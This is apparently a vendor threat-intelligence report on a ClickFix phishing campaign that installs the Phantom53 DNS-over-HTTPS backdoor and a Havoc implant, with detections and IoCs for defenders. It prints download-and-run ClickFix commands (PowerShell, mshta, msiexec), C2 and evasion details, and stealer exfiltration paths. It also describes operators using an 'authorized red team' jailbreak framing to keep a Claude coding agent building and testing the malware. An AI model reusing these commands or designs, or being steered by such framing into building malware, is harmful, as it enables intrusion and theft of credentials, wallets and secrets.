XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe

Threat actors continue to refine and scale their operations, increasingly integrating artificial intelligence to harden attack infrastructure and accelerate deployment. The SOCRadar Threat Research Unit (STRU) recently identified a multi-stage campaign operated by a Russian-speaking threat actor wielding an AI-assisted toolkit. The adversary’s pipeline chains XaocMail (translated as ChaosMail), a phishing platform delivering ClickFix-style document sharing lures with Phantom53, a stealthy DNS-over-HTTPS (DoH) command-and-control (C2) framework used to drop PowerShell payloads and deploy the Havoc post-exploitation framework on demand.

Campaign Overview

STRU uncovered an advanced, multi-stage campaign operated by a Russian-speaking threat actor utilizing a multi-component toolkit. The adversary’s attack pipeline chains XaocMail, a self-hosted phishing platform serving personalized emails with document-sharing lures that embed ClickFix pages, with Phantom53, a stealthy C2 framework leveraging DoH for persistent beaconing, host telemetry exfiltration, and PowerShell script execution. Phantom53 further utilizes an on-demand watcher to reflectively load the Havoc post-exploitation framework into memory for interesting targets. The attacker’s infrastructure relies entirely on legitimate services: Cloudflare Workers and DoH providers (i.e., Google, Cloudflare, and ControlD). It also features a custom DGA for domain failover resilience.

Campaign preparations began at least a year prior, in October 2025, when the threat actors were observed testing their malware and Cloudflare infrastructure. Throughout the first half of 2026, the attackers experimented with phishing lures while refining and hardening Phantom53. The operation officially launched in August 2026 and remains active as of this publication.

Phishing Infrastructure: XaocMail

Phantom53’s delivery mechanism is a ClickFix social engineering lure delivered via XaocMail phishing infrastructure. XaocMail (“Xaoc” meaning “Chaos” in Russian) is a self-hosted phishing platform (185[.]224[.]132[.]148:8585) that handles the full email-to-implant funnel. It generates per-victim personalized templates and landing pages (links), and distributes phishing emails carrying those links, which serve ClickFix lures through Cloudflare Workers (serverless edge computing) when accessed. ClickFix delivers an MSI payload stored on Cloudflare KV (a serverless key-value database) that initiates Phantom53 infection. The per-victim flow is as follows:

• XaocMail receives a list of personalized pages with associated metadata: recipient name, sender name, sender company, document type, document content, and template (Google Docs, Adobe Acrobat, Office365 and SecuredDocs) selection. The pages spoof legitimate senders and include document-sharing previews as lures

• For each victim, a unique linkId (8-char random) is created. XaocMail writes a JSON blob to Cloudflare KV under that key. Each link is assigned a round-robin msi_slot (0-9) pointing to one of 10 pre-built MSIs also in KV
• The attackers send the emails through SMTP using IMAP-validated mailboxes (likely compromised credentials). The emails arrive as document-sharing notifications, with a prominent link in the body pointing to the Cloudflare Worker landing page: hxxps:[//]securedoc.[subdomain].workers.dev/?id={linkId}
• The main Worker reads the KV landing JSON and serves the ClickFix lure page with the command to download the payload via PowerShell, HTA or MSI (the latest and preferred option). Geo/ASN/IP telemetry is logged to Cloudflare D1 (serverless SQL database) on click

Mode	Win+R Payload	Final Payload
powershell	powershell “.(-join’xei'[-1..-3])((New-Object Net.WebClient).DownloadString(‘https://…/s?id=X’))”	Downloads and executes an MSI file
mshta	mshta https://…/h?id=X	ZIP containing GUP.exe (Notepad++ Generic Update Program) sideloading libcurl.dll – Previous version
msiexec	msiexec /i https://…/m?id=X /qn	Executes MSI file – Documented as the active evasion-hardened vector

In addition, the operators have another Cloudflare Worker in place (hxxps[://]linkrot[.]fypahedupal2-0maz[.]workers[.]dev) to rotate the subdomains easily and increase their operational resilience in case of detection or takedowns:

In previous versions, the attackers used GitHub Gist instead of Cloudflare Workers to store their Phantom53 installers:

• After the command’s execution, the MSI (or PowerShell or HTA) downloader calls /api/unblur?id={linkId} on the Worker, removing the blur and overlay, with the victim seeing the document “unlocked”, completing the social engineering challenge

C2 Framework: Phantom53

XaocMail ClickFix commands are designed to download and run an MSI file (in the newest version), which is actually the Phantom53 wrapper. Phantom53 is a purpose-built C2 framework designed to achieve persistent access on Windows endpoints. Unlike commodity frameworks, Phantom53 avoids common behavioral signatures by using DoH as its primary C2 transport, hiding command traffic inside encrypted HTTPS sessions with public DNS resolvers like Google and Cloudflare that are universally trusted and rarely inspected.

The framework is organized into three independently survivable layers: a lightweight beacon that polls for commands via DoH every 12 minutes, a separate watcher that loads a post-exploitation agent (HavoX/Havoc Demon) on demand, and the Havoc Demon agent itself as a disposable operational payload. Each layer runs in an isolated Python virtual environment under a signed pythonw.exe host process. adminka, another component, is the operator control interface that provides a full Terminal User Interface (TUI) with bot management, domain rotation, alias-based command shortcuts, and Telegram alerting on new implant registrations.

MSI Wrapper

The executed file is a binary-only MSI impersonating legitimate product names (e.g., Visual Studio Tools, Python, and Node.js) and contains a CustomAction pointing to a PE DLL that performs the full installation of Phantom53 stages. In summary, it prepares the environment by installing the Python runtime and dropping two virtual environments: one containing the Phantom53 beacon and one containing the Phantom53 watcher, which monitors the trigger for the next stage (Havoc Demon). Both stages are executed through scheduled tasks at specific intervals.

Initially, it drops the Python 3.11 runtime by creating a randomly named ([a-z0-9]) directory inside any of the location options selected on build (%LOCALAPPDATA%, %APPDATA%, %APPDATA%\Microsoft, %LOCALAPPDATA%\Microsoft\WindowsApps) and embedding the following files:

• pythonw.exe: Windowless Python launcher (no console window)
• python.exe: Standard Python binary
• python3.dll: Python 3 stub DLL
• python311.dll: CPython 3.11 runtime (~5.6 MB)
• python311.zip: Standard library .zip
• python311._pth: Isolated path config (no system site-packages)
• vcruntime140.dll: MSVC runtime
• vcruntime140_1.dll: MSVC runtime (second part)

Next, it drops two virtual environments, each for a distinct stage of the attack chain, and executes them through scheduled tasks.

• Venv A – The Phantom53 Beacon

This virtual environment is responsible for running the Phantom53 beacon component. The DLL creates a randomized directory (e.g., %LOCALAPPDATA%\d9ae124034ad\Lib\site-packages\iyrzlo\) and drops:

• cv2.pyd: A minimal compiled PE named after a legitimate .pyd file from a PyPI package (i.e., OpenCV)
• __init__.py: Containing from . import cv2 & cv2.init() which triggers .pyd load when the package is imported (similar to DLL sideloading)
• d9ae124034ad.pyw: A randomly named generated launcher importing the configured package:

A scheduled task is configured to run %LOCALAPPDATA%\d9ae124034ad\pythonw.exe d9ae124034ad.pyw, launching the Phantom53 beacon every 12 minutes without a window or console. Importing iyrzlo from d9ae124034ad.pyw causes Python to load iyrzlo/__init__.py, which triggers Windows to load cv2.pyd as a native DLL. When Python loads a .pyd, it calls the PyInit_<module_name> export. The beacon runs from PyInit_cv2, which calls run_beacon(). Four module names are supported for masquerading as legitimate packages: PyInit__core (numpy), PyInit__imaging (PIL), PyInit_cv2 (cv2), and PyInit_etree (lxml), whichever matches the .pyd’s filename.

• Venv B – The Phantom53 Watcher + Havoc Demon

This virtual environment is responsible for running the Phantom53 watcher component, which detects when the operator decides to move on to the next stage (Havoc Demon). Similarly, the DLL creates another randomized directory (e.g., %LOCALAPPDATA%\d9ae124034ad\Lib\site-packages\llidejyldw\) and drops:

• core.pyd: A similar compiled PE named after a legitimate .pyd file from numpy
• __init__.py & 1fb1e42ce996.pyw: Same launcher patterns
• f969d46d.dat: A randomly named AES-256-GCM encrypted HavoX (Havoc Demon) blob that is decrypted in memory at runtime by the Phantom53 watcher
• fa41d5d4.dat (debug build): A randomly named alternate Demon blob. Phantom53 watcher tries both and the AES-GCM tag selects which one to decrypt. This lets the operators switch between debug/recon and release builds without changing the actual MSI components

In the same way, a scheduled task is configured to run %LOCALAPPDATA%\d9ae124034ad\pythonw.exe 1fb1e42ce996.pyw, launching the Phantom53 watcher every 3 minutes. The following screenshot shows a sample Phantom53 configuration:

Scheduled task names for both stages are selected from a pool of names: (MicrosoftEdgeUpdateTask[a-z0-9], OneDriveSyncTask[a-z0-9], WindowsDefenderScheduledScan[a-z0-9], OfficeBackgroundTaskHandler[a-z0-9], AdobeAcrobatUpdateTask[a-z0-9]) and the first execution is delayed by 2 minutes for evasion. If the process is elevated (SYSTEM/admin context), Phantom53 calls ITaskFolder::RegisterTask directly via COM, supplying an XML file without spawning schtasks.exe processes. In case the process is not elevated, Phantom53 falls back to the User Account Control (UAC) escalation path. First, it writes two XML files (%TEMP%\p53_task_a.xml and p53_task_b.xml) and registers them with PowerShell (Register-ScheduledTask). This option triggers a UAC prompt to the user showing convincing product names (e.g., Node.js Runtime from OpenJS Foundation) for approval. In case the UAC prompt gets rejected, Phantom53 falls back to registering user-context tasks via COM with <LogonType>InteractiveToken</LogonType> (no UAC, current user privileges only).

Beacon

The first stage is the Phantom53 beacon (beacon.pyd impersonating cv2.pyd) and it is responsible for initial C2 communication through DoH.

API Resolution

It starts by walking the Process Environment Block (PEB) to find ntdll.dll and kernel32.dll to resolve every needed function from each module’s export tables, comparing names against pre-computed hashes. All subsequent DLLs are loaded by calling LdrLoadDll with the DLL name XOR-decoded. No DLL name or API name ever appears as a plaintext string in the binary.

Bot ID & Storage Key Generation

It then generates a Bot ID built from five components concatenated with | separators and hashed with a djb2 variant (8 hex characters):

• MachineGuid from HKLM\SOFTWARE\Microsoft\Cryptography
• C: volume serial number (8 hex digits)

ComputerName

• InstallDate from HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
• An install-time random salt (32-bit, persisted in the CLSID registry key)

It also generates a storage key which is a per-machine HMAC-SHA256 hash used to derive a CLSID-formatted registry path under HKCU\Software\Classes\CLSID\{…} where all state is stored.

Sandbox Gate

Before every beacon tick, it runs a sandbox check. It assigns a score and decides whether to beacon or defer based on conditions. If the score is equal to or greater than 1, it defers and increments the defer counter. Once 3 defer decisions are reached, a beacon is forced.

Check	Condition	Effect
System uptime less than 20 minutes	GetTickCount64() < 20 * 60 * 1000	score += 1
Tick delta	current tick − last stored wall time < interval/2	score += 1
Recent user input within last 15 minutes	GetLastInputInfo() idle < 15 min	Override – beacon now regardless of score

DNS-over-HTTPS C2 Protocol

Phantom53’s C2 protocol encodes all command and control data within DNS AAAA records (IPv6). The beacon sends a crafted FQDN as a DNS query over HTTPS (DoH) to a public resolver, which forwards it to the attacker’s DNS server. The server encodes the command response inside the 16-byte IPv6 address field of the AAAA answer. Three transport channels are tried in order, with the successful channel persisted for the next beacon tick:

Priority	Channel	Description
T1	DoH/IP	DoH POST to public resolver by direct IP (no DNS lookup needed). Endpoint list (XOR-encrypted): https://1.1.1.1/dns-query – Cloudflare https://1.0.0.1/dns-query – Cloudflare secondary https://8.8.8.8/dns-query – Google https://8.8.4.4/dns-query – Google secondary https://76.76.2.11/dns-query – ControlD https://76.76.10.11/dns-query – ControlD secondary
T2	DoH/SNI	DoH POST using SNI hostname override (e.g., https://dns.google/dns-query). Same providers, different connection method.
T3	UDP DNS/53	Fallback method: Direct UDP DNS to hardcoded resolver IPs. Used when DoH is blocked.

Phantom53 uses a two-round-trip cookie handshake to authenticate each transaction and prevent DoH cache replay attacks. The handshake works as follows:

• Round 1 – POLL: Beacon sends cookie_b
• The beacon generates a random cookie_b and encodes it in the FQDN. The server echoes it back in the AAAA response alongside cookie_s and the command
• Round 2 – ACK: Beacon echoes cookie_s
• The beacon sends cookie_s echo in a new FQDN. The server confirms with cookie_b2 echo

The FQDN is structured as base36-encoded tokens that resemble CDN session tokens, making them difficult to distinguish from legitimate traffic:

Phantom53’s Beacon FQDN Encoding Format

{bot_id_base36}-{cookie_b_base36}.{extra36}.{hn0}-{hn1}-{hn2}-{hn3}.{c2_domain} // POLL {bot_id_base36}-{cookie_s_base36}-{cookie_b_trunc_36}.{c2_domain} // ACK

• bot_id: 8-char hex, base36-encoded
• cookie_b: 4-byte random nonce generated each tick
• cookie_s: 4-byte random nonce generated by the server in Round 1’s AAAA response
• extra36: A single base36 word encoding a 32-bit bitfield:
• bits 30:31 – Elevation level (SYSTEM=3, ADM=2, USR=1) – Tested by attempting to open \Registry\Machine\SAM\SAM
• bits 23:29 – Build ID index
• bits 15:22 – Chunk sequence (for chunked transfers)
• bits 8:14 – Current interval in minutes
• bit 7 – Hardcoded 0x80 (format marker)
• bits 4:6 – Spread (jitter range in minutes)
• bits 2:3 – Active Directory status – Tested through:
• LSA PolicyDnsDomainInformation: Queries domain SID. A non-NULL SID proves the computer account is enrolled in AD
• NetGetJoinInformation: Returns NetSetupDomainName (=3) for domain-joined machines
• GetComputerNameExW(ComputerNameDnsDomain): Non-empty DNS domain name
• Verdict logic: CONFIRMED if ≥2 sources agree; PARTIAL if exactly one fires; NO if none
• bits 0:1 – REHOME result (0=none, 1=success, 2=fail) – Detailed later
• hn0-hn3: Hostname split into 4 base36 chunks
• c2_domain: Current active domain from failover state

The 16-byte IPv6 address field of each AAAA record response carries command data:

Phantom53’s Server AAAA IPv6 Record

[cookie_echo:4][cookie_s:4][cmd:1][idx:1][data:6]

• bytes 0:4 – cookie_echo (mirrors cookie_b, used to validate freshness)
• bytes 4:8 – cookie_s (server nonce, echoed in ACK)
• byte 8 – cmd byte (command type)
• byte 9 – idx (sort index for chunk reassembly)
• bytes 10:16 – 6 bytes of payload data

Code	Command	Description
0x00	CMD_CONTINUE	Continuation chunk in payload delivery
0x01	CMD_NOP	No operation – just heartbeat
0x02	CMD_WAKE	Write AES key + CF Worker URL to IPC temp file → triggers watcher to load HavoX Demon (next stage)
0x03	CMD_SLEEP	Change beacon cadence – XML round-trip on schtask <Interval>PTxxM, persisted in task description
0x04	CMD_WIPE	Self-delete: remove scheduled tasks, remove directories of virtual environments, delete temp files, terminate process
0x05	CMD_EXEC	Execute PowerShell payload: ASCII→UTF-16LE→base64 → powershell -NonInteractive -WindowStyle Hidden -EncodedCommand
0x06	CMD_EXEC_CHUNKED	Multi-chunk PowerShell payload (up to 1440 bytes, ~15 chunks, ~22 DNS requests)
0x07	CMD_REHOME	Chunked delivery of new C2 domain string – live domain migration without re-deployment or Cloudflare Worker URL for telemetry sending
0x08	CMD_TELEM_RESET	Clear telemetry-sent flag → force resend of system info on next beacon tick

On the very first beacon tick, Phantom53 sends a rich system info blob before starting regular polls for commands. It first sends a special INIT FQDN ({bot36}-{cookie36}-{hn0}-{hn1}-{hn2}-{hn3}.{c2_domain}) to retrieve a Cloudflare Worker exfiltration URL from the server in the AAAA response (cmd byte equal to 7 – CMD_REHOME). Then it collects system information such as OS version, architecture, RAM, CPU string, username, hostname, process list snapshot count, screen resolution, install date, bot_id, build ID, elevation, AD status, running processes and services, installed applications, autorun entries, sandbox fingerprints and endpoint security solutions. Finally, it encrypts them with AES-256-GCM (key TELEM_KEY_BYTES) and exfiltrates them through HTTP POST to {AAAA_response_cloudflare_url}/api/metrics.

Domain Generation Algorithm

In case the beaconing domain returns NXDOMAIN (Non-Existent Domain) from 3 different DoH providers within a 30-minute interval between checks, the domain transitions to a “blocked” state. The Phantom53 beacon then triggers a DGA scan. It uses a week-keyed SHA256 DGA to provide domain failover resilience. The algorithm generates deterministic domains from a seed string, year, and ISO week number. The DGA scan window checks 3 weeks: current week − 2, current, current + 1. For each candidate, the beacon sends a heartbeat poll and Ed25519 domain verification. Only a domain that answers both is used. This allows agents to recover after extended downtime and lets operators pre-register next week’s domain before the current one is sinkholed.

Example Domain Generation

// DGA: SHA256(“phantom53-{year}-W{week:02d}-{index:02d}”)[0:12] + “.xyz” input = sprintf(“%s-%d-W%02d-%02d”, seed, year, week, index) // Example: “phantom53-2026-W05-01” hash = SHA256(input) // Take first 6 bytes as hex → 12-char label domain = hex(hash[0:6]) + “.xyz” // Result: “478a4d17d280.xyz”

The DGA state distinguishes between domain failure types. It stores state in its scheduled task description field, encoded as:

State	Condition	Action
0 – HARDCODED (initial)	NXDOMAIN (blocked)	Generate DGA → STATE=1. On SERVFAIL: stay and retry (network issue, not block).
1 – DGA_PENDING	NXDOMAIN (still blocked)	Do NOT generate new DGA: The domain was never confirmed meaning the operator hasn’t registered it yet. Keep trying.
1 – DGA_PENDING	C2 responds → NOERROR	Confirm domain → STATE=2 (DGA_ACTIVE).
2 – DGA_ACTIVE	NXDOMAIN (blocked)	Generate new DGA → STATE=1. Domain was working before, so this is a real takedown.
2 – DGA_ACTIVE	SERVFAIL	Stay, keep trying. Temporary NS outage, not a takedown.

Adminka

Operators interact with the adminka Go binary via a TUI inspired by Metasploit’s console. The adminka connects to the FastAPI backend on port 5000 over HTTP and to the DNS server directly and gives operators an interface to send commands to Phantom53-infected devices. Key TUI commands include:

Command	Description
serve	Start Phantom53 DNS Server
ss / sessions	List all active bots with status, build ID, privilege level, and AD membership
ss <N>	Select bot #N for subsequent commands
info	Queue a command or alias payload for a bot
alias add <name> <key> <cf_url> /alias add <name> cmd <payload>	*Aliases hold either a DEMON payload (AES key + CF URL for the HavoX .dat blob) or a raw PowerShell CMD payload. They are referenced by name when queuing a cmd command.* Save a DEMON (AES key + CF Worker URL) alias / Save a CMD (PowerShell) alias
cmd <alias>	Send trigger for CMD_WAKE (HavoX Demon load) or PowerShell payload (depending on configured alias)
sl <min> [max]	Change beacon cadence (XML round-trip on schtask)
wipe	Self-delete by queuing CMD_WIPE: remove schtasks, virtual environments, temporary files
telem	View implant telemetry (OS, hardware, AV/EDR flags, sandbox score, process list)
migrate <domain>	Queue CMD_REHOME: Beacon probes new domain, Ed25519-verifies, then atomically switches C2 domain

Based on the operators’ files, multiple payload aliases were configured for different PowerShell scripts with exfiltration towards hxxp[://]145[.]63[.]138[.]67:8125/up/ paths:

Purpose	Description
Password Manager Browser Extension Stealer	Local Data in Chrome and Edge Browsers & AppData folders LastPass, KeePass, Bitwarden
Cisco VPN UIHistory, OpenVPN, Codex session_index and Conda token Stealer	.cisco\vpn\log\UIHistory_*.log.txt \OpenVPN\config .codex\session_index.jsonl .codex\config.toml .conda\aau_token
Level RMM Drop	Downloads and executes Level RMM MSI from https://downloads.level.io/level.msi
AI Secret and History Stealer	5 AI products based on directory names, marker files, environment variables and browser extensions (e.g., claude-code, codex, gemini-cli, cursor, windsurf, copilot/vscode, continue, goose, amp, opencode, huggingface and others)
Google Chrome, SSH & Git Data Stealer	Google Chrome User Data & Local State encryption key SSH keys Git configurations GitHub CLI tokens
Crypto Wallet Stealer	AppData paths and configuration files Exodus Electrum Atomic Tonkeeper Bitcoin Phantom Coinbase Binance
Seed Phrase Stealer	User directories (Desktop, Documents, Downloads, and AppData) Wallet backup files 12-24 word BIP-39 mnemonic phrases
UAC Bypass	fodhelper.exe registry hijacking technique to launch an elevated, hidden PowerShell payload without UAC prompting the user
Messaging and Notes Application Stealer	AppData paths and configuration files WhatsApp Telegram Signal Sticky Notes
SMB Wordlist Attack & Local Administrators Group Enumeration	Hardcoded list of candidate passwords against the local Administrator account via loopback SMB connections (\\127.0.0.1\C$) net localgroup administrators

Watcher

The watcher is the second .pyd in Venv B. While the beacon in Venv A handles all C2 communication via DoH, the watcher has a single job: deliver and host the HavoX (Havoc) Demon. It never touches the network. It waits for the beacon to drop an IPC file (%TEMP%\{pattern}.tmp) containing the AES key and Cloudflare Worker URL when the operator delivers a CMD_WAKE response, then loads the Demon blob into a subprocess. This .pyd file has two execution modes based on the command line. If the command line contains the demon marker, it launches the demon loader entry; otherwise, the watcher runs and monitors for the IPC file drop. The full watcher chain is as follows:

• The operator sends the command cmd demon1 (demon1 alias = release Demon, demon_debug = debug) upon accessing the specific victim bot through adminka (ss #N)
• Adminka queues CMD_WAKE with the AES key and Cloudflare Worker URL
• The beacon receives CMD_WAKE with its arguments and writes [wake_id:8][aes_key:32][cloudflare_url:N] to %TEMP%\{pattern}.tmp (IPC file)
• The watcher detects the IPC file (checking every 3 minutes according to its scheduled task trigger), reads wake_id and checks if Global\P53Demon_{wake_id_hex} mutex exists. If it does, it skips spawning another instance (per-WAKE hex ID). Otherwise it runs pythonw.exe 1fb1e42ce996.pyw <DEMON_MARKER> (e.g., 964bb46f) to launch the demon loader entry and creates the mutex
• A new instance of the watcher (with the demon loader entry) reads and deletes the temporary file. It acquires the per-WAKE singleton mutex, iterates demon.dat and demon_dbg.dat and decrypts the correct one as a DLL based on AES-GCM using the provided AES key
• Then it scans the decrypted DLL memory for the “@@HAVOX_CF_URL@@” marker and replaces it with the CF Worker hostname from the IPC file. This enables one universal Demon binary for all environments
• It then uses a custom reflective loader for memory-only execution:
• Allocates memory using VirtualAlloc RW (preferred base)
• Copies the DLL into that block (PE headers and each section at correct offsets)
• Applies the BASERELOC relocations
• Resolves the imports using LoadLibraryA and GetProcAddress
• Applies memory protection (VirtualProtect) per section (.text=RX & .data=RW)
• Wipes the evidence by zeroing out the buffer since the demon is now loaded
• Finally, it calls DllMain using DLL_PROCESS_ATTACH to start the Havoc demon (create its C2 communication threads and connect to the Cloudflare Worker URL)
• The demon then enters an infinite NtDelayExecution loop (60s intervals) for staying alive

AI Usage: Claude Code

Phantom53 provides direct evidence of AI-assisted malware development and testing. The codebase contains artifacts characteristic of development using Anthropic’s Claude Code. This includes project configuration directories (.claude/ with settings.json), a task tracking system in Claude Code’s exact naming convention, and operator prompts explicitly targeting a Claude agent wrapper.

Tasks With Claude Code Naming Convention

Across three sub-projects (adminka, implant_v3 and implant_v4), 143 numbered task markdown files follow Claude Code’s NNN-task-name.md naming convention:

Sub-project	Range	Representative Tasks	Count
adminka/.tasks/	001-024	001-project-scaffold, 005-tui, 014-tui-redesign, 019-msf-console-tui-interface, 024-act-overlap-zombie-fix	25
implant_v3/.tasks/	001-023 + misc	001-module-stomp, 002-pic-beacon, 016-doh-primary-transport, 023-failover-system, debug-full-test	31
implant_v4/.tasks/	001-076 + misc	061-anti-sandbox-gate, 070-schtask-commando-detection, 072-universal-always-a69-incident, 074-rehome	87

Phantom53 Task Tracking Naming

The implant_v4/arch.md file alone is 117 KB in size. It is a comprehensive architecture document consistent with an AI assistant maintaining real-time documentation of a complex technical system across dozens of sessions.

Claude Agent Prompt

implant_v4/.tasks/prompts/noav-beacon-test.md is a prompt explicitly designed to be fed to a Claude agent via a claudeg5f-tmux wrapper. The file is in Russian and instructs the Claude agent to install a test MSI on a virtual machine named “NoAV”, wait for the beacon to register in the adminka SQLite database, then run a full cleanup script. The claudeg5f-tmux wrapper is a custom Claude Code launcher that passes the markdown file as the agent’s prompt and constrains its working directory. This confirms the operators were using Claude agents for automated end-to-end implant testing with a jailbreak framing (“authorized red team”) to keep the agent on-task.

Targeting

Almost a thousand personalized XaocMail document sharing pages were identified. Based on recipient email addresses and phishing content used, several targeting patterns emerged. The operators heavily targeted Latin American countries such as Brazil and Peru, followed by entities in Asia (India and Indonesia) and Europe (Spain).

English was the predominant language identified in the phishing campaigns, likely chosen to maximize global reach. It was followed in prevalence by Portuguese, Spanish, and Indonesian.

Sector distribution was largely balanced, with a slight tilt toward technology and IT entities. The remaining targets were distributed in similar proportions across finance, education, government, logistics, and manufacturing. While attacker intent remains unconfirmed, footholds in technology and IT entities could expose downstream clients to supply-chain risk.

Conclusion

The combination of XaocMail, Phantom53, and Havoc demonstrates a well-structured attack pipeline designed to slip past standard security controls. By relying on trusted infrastructure like Cloudflare Workers and DNS-over-HTTPS for command and control, the campaign blends into normal network traffic, making detection difficult. The extensive use of AI tools to build, test, and refine the malware highlights a streamlined operational process that allows attackers to iterate and scale quickly. Defending against these campaigns requires looking beyond traditional signature-based detection to monitor anomalous DNS query behaviors and multi-stage delivery mechanisms across enterprise networks. The following threat hunting searches can be used to detect Phantom53 intrusions:

• msiexec.exe spawned from the Run dialog (explorer.exe parent) with a workers.dev URL argument
• pythonw.exe spawned by svchost.exe (TaskScheduler) executing a .pyw file from %APPDATA% or %LOCALAPPDATA%
• pythonw.exe executing a .pyw file and loading .pyd files from a non-standard path (outside a standard Python installation directory)
• pythonw.exe making HTTPS connections to popular IP and hostname-based DoH resolvers over port 443, or connecting to IP addresses on port 53 (fallback method)

MITRE ATT&CK

Tactic	Technique ID	Technique Name	Description
Resource Development	T1583.007	Acquire Infrastructure: Serverless	Operators utilized Cloudflare Workers for XaocMail, Phantom53, and Havoc deployments.
Initial Access	T1566.002	Phishing: Spearphishing Link	XaocMail phishing emails embed landing pages with ClickFix lures.
Execution	T1204.004	User Execution: Malicious Copy and Paste	Phantom53 is delivered via ClickFix lures from XaocMail.
Execution	T1059.001	Command and Scripting Interpreter: PowerShell	Phantom53 CMD_EXEC command delivers base64 encoded PowerShell payloads.
Execution	T1129	Shared Modules	Phantom53 executes .pyd files loading them through pythonw.exe execution.
Execution	T1059.006	Command and Scripting Interpreter: Python	All Phantom53 stages run inside pythonw.exe.
Execution	T1559.001	Inter-Process Communication: Component Object Model	Phantom53 MSI registers two scheduled tasks (beacon and watcher) using COM ITaskFolder::RegisterTask.
Persistence	T1053.005	Scheduled Task/Job	Phantom53 MSI registers two scheduled tasks (beacon and watcher) using COM ITaskFolder::RegisterTask.
Persistence	T1546	Event Triggered Execution	Phantom53 watcher launches Havoc demon if the beacon receives the CMD_WAKE command.
Privilege Escalation	T1548.002	Abuse Elevation Control Mechanism: Bypass User Account Control	Phantom53’s scheduled task generates a UAC prompt if the process is not elevated; also uses fodhelper.exe registry hijacking to bypass UAC.
Discovery	T1082	System Information Discovery	On the first beacon tick, Phantom53 sends host telemetry (hardware ID, hostname, privilege level, AD membership).
Stealth	T1036.005	Masquerading: Match Legitimate Resource Name or Location	Phantom53 scheduled task names use Microsoft-style naming and it uses .pyd donors from real PyPI packages.
Stealth	T1620	Reflective Code Loading	Phantom53 watcher loads the Havoc demon through reflective code loading.
Stealth	T1218.007	System Binary Proxy Execution: Msiexec	ClickFix commands deliver Phantom53 MSI run through msiexec.exe /i <URL> /qn.
Evasion	T1497.003	Virtualization/Sandbox Evasion: Time Based Checks	Phantom53’s anti-sandbox gate checks uptime, inter-tick delta, and idle time.
Exfiltration	T1567	Exfiltration Over Web Service	Phantom53 PowerShell payloads exfiltrate data via HTTP POST.
Command and Control	T1132.001	Data Encoding: Standard Encoding	Phantom53 command data are encoded as base36 in FQDN labels.
Command and Control	T1568.002	Dynamic Resolution: Domain Generation Algorithms	Phantom53 uses a weekly SHA256-based DGA.
Command and Control	T1071.004	Application Layer Protocol: DNS	Phantom53 uses DNS-over-HTTPS as the C2.

IoCs

Network Indicators

Type	Indicator	Description
IP Address	185[.]224[.]132[.]148	XaocMail Landing (TCP 8585),FastAPI Backend (HTTP 5000), DNS Server (UDP 53)
IP Address	162[.]252[.]198[.]204	OPS Server (SSH:2222)
IP Address	162[.]252[.]199[.]92	OPS Server (Ligolo-ng)
IP Address	94[.]156[.]152[.]7	Operator VPS
IP Address	145[.]63[.]138[.]67	XaocMail Stats (8081), Havoc C2
IP Address	91[.]132[.]93[.]251	RevSocks – WSS
IP Address	176[.]9[.]154[.]69	Proxy for Credentials Hunting
Domain	dns[.]timesyncserver-312453[.]com	OPS C2 Domain
Domain	securedoc[.]makeneg458[.]workers[.]dev	XaocMail Phishing & ClickFix
Domain	securedoc[.]mesuttgulerr573[.]workers[.]dev	XaocMail Phishing & ClickFix
Domain	linkrot[.]fypahedupal2-0maz[.]workers[.]dev	Link Rotator
Domain	cdn-analytics-p53[.]makeneg458[.]workers[.]dev	Telemetry Collector
Domain	cdn-analytics-3f4033[.]rosamariaeadeshtvfud[.]workers[.]dev	Telemetry Collector
Domain	sync-node-serv[.]com	HavoX
Domain	dns[.]cdn-syncnode-server[.]com	HavoX
Domain	cdn-assets-api[.]cfchk902834[.]workers[.]dev	HavoX
Domain	cdn-assets-api[.]makeneg458[.]workers[.]dev	HavoX
Domain	cdn-assets-api[.]kessler-m88[.]workers[.]dev	HavoX
Domain	cdn-assets-api[.]busykifukek2-8psk[.]workers[.]dev	HavoX
Domain	a8f2aac37385[.]xyz	Phantom53 C2
Domain	kfkwrfdd[.]xyz	Phantom53 C2
Domain	544504d7fe1e[.]xyz	Phantom53 C2
Domain	bestutyresdomaonupder[.]com	RevSocks – WSS
Domain	bestutyresdomaonupder[.]top	RevSocks – WSS
Domain	bestutyresdomaonupder2324[.]com	RevSocks – WSS
URL	hxxps[://]securedoc[.]mesuttgulerr573[.]workers.dev/?id=<linkid:8>	XaocMail ClickFix Page
URL	hxxps[://]securedoc[.]mesuttgulerr573[.]workers.dev/m?id=<linkid:8>	XaocMail MSI Payload
URL	hxxps[://]securedoc[.]mesuttgulerr573[.]workers.dev/s?id=<linkid:8>	XaocMail PowerShell Payload
URL	hxxps[://]securedoc[.]mesuttgulerr573[.]workers.dev/h?id=<linkid:8>	XaocMail HTA Payload
URL	hxxp[://]145[.]63[.]138[.]67:8125/up/	Exfiltration URL
URL	hxxps[://]linkrot[.]fypahedupal2-0maz[.]workers[.]dev/link?token=7157717581ca4e3dda83e418af25fa448fe98ed2	Rotates securedoc.[cf].workers.dev subdomain
URL	hxxps[://]gist[.]githubusercontent[.]com/yegeqebige46-creator/b393f36b20ad8aeadcb8a80af70ccc09/raw/da03fd7f1ffacda970a1f3d345bdaeae8c6a7b43/gistfile1[.]txt	Phantom53 Payload
URL	hxxps[://]github[.]com/yegeqebige46-creator/qq	Phantom53 Payload
URL	hxxps[://]github[.]com/yegeqebige46-creator/qq/raw/main/update[.]zip	Phantom53 Payload
URL	hxxps[://]github[.]com/JohnDow22	Operator GitHub Account
Email Address	mesuttgulerr573[@]gmail.com	Operator’s Cloudflare Account
Email Address	rosamariaeadeshtvfud[@]gmail.com	Operator’s Cloudflare Account
Email Address	nepox3k[@]gtuta.io	Operator’s GitHub Account
Email Address	yegeqebige46[@]gmail.com	Operator’s GitHub Account

Host Indicators

Type	Indicator	Description
SHA256	bceeb2d54b6a756c73a3e06617e9e95ad4d8e53da47639bcd6ef3cae98c6da6d	HTA XaocMail-Phantom53 payload
SHA256	79a4cb73983a1facb5db09f1a20cec6e58d91a93044a78aa3ba32ab2190284ed	PowerShell XaocMail-Phantom53 payload
SHA256	0e1c94a8f94158f64558325ddbfd1e1277884fba6fb1f8c381dbd5c742e59fbb	build_v4.py – Building Phantom53 MSI builds
SHA256	7055483a77f679ad569c3a9bfe76cdb8e5b96efc44d2bf2a6f08e930add598b0	MSI XaocMail-Phantom53 payload
SHA256	0dcfe51d2521e52a469f5cec6b42bc8e7e37b41df993cce7d739ff3fd248d8b1	MSI XaocMail-Phantom53 payload
